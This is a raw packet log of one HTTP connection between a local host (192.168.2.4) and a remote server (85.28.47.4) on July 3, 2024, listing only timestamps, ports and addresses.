Jul 3, 2024 23:59:07.965497017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965507984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965519905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965528011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.965537071 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.965564013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969487906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969533920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969542980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969553947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969587088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969661951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969672918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969682932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969695091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969707012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969717979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969743967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969747066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969755888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969767094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969777107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969784975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969795942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969825983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969876051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969887018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969897032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969906092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969917059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.969917059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969932079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.969959021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970062017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970072985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970082998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970092058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970102072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970102072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970113993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970129013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970129013 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970159054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970169067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970194101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970205069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970215082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970225096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970236063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970274925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970324993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970335007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970345974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970366001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970380068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:07.970387936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:07.970417976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053355932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053380966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053392887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053419113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053451061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053489923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053503036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053513050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053538084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053548098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053639889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053651094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053662062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053673983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053683043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053718090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053809881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053822041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053833008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053843021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053849936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053853989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053879023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053905964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.053956985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053968906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053978920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.053989887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054002047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054028988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054091930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054105043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054116011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054124117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054132938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054163933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054230928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054240942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054265976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054270983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054280043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054290056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054306984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054322958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054395914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054408073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054418087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054425955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.054439068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054450989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.054477930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055221081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055239916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055259943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055264950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055288076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055295944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055371046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055382967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055418968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055496931 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055507898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055517912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055527925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055540085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055550098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055579901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055665970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055677891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055687904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055699110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055708885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.055711031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055737019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.055751085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057182074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057214975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057225943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057228088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057251930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057260990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057290077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057301998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057333946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057403088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057419062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057451010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057472944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057497025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057512999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057523966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057535887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057539940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057547092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057557106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057570934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057600975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057730913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057742119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057753086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057764053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057773113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057775974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057786942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057817936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057895899 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057907104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057918072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.057945967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057959080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.057986021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058026075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.058429956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058439970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058449984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058471918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.058491945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.058514118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058525085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058535099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058556080 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.058578968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.058582067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.058618069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059114933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059139013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059148073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059154987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059179068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059195995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059206963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059236050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059251070 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059261084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059290886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059303045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059336901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059348106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059356928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059367895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059376001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059402943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059446096 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059457064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059467077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059478045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059485912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059487104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.059500933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.059525967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063498974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063519955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063529015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063544035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063577890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063649893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063687086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063692093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063699961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063724995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063741922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063749075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063760042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063787937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063790083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063802004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063832998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063889027 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063900948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063910961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.063926935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.063939095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064199924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064212084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064222097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064240932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064243078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064249992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064269066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064280987 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064316988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064327955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064337969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064363003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064374924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064459085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064470053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064485073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064496994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064507961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064517975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064527988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064529896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064529896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064543962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064569950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.064660072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064668894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.064707041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.105345011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.105489969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147501945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147515059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147525072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147573948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147604942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147768021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147778988 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147789001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147799015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147809029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147809982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147819996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147830963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147841930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147841930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147854090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147861958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147866011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147874117 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147877932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147890091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147898912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147902966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147923946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147945881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147949934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.147959948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.147990942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148005009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148082972 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148094893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148104906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148119926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148123980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148130894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148148060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148171902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148302078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148320913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148332119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148343086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148343086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148353100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148367882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148370028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148394108 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148411989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148416996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148454905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.148471117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.148513079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149111032 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149128914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149152040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149152994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149173975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149187088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149224997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149235964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149262905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149272919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149276972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149285078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149312019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149333954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149386883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149398088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149406910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149427891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149446011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149506092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149518013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149529934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.149545908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.149559021 CEST	49730	80	192.168.2.4	85.28.47.4
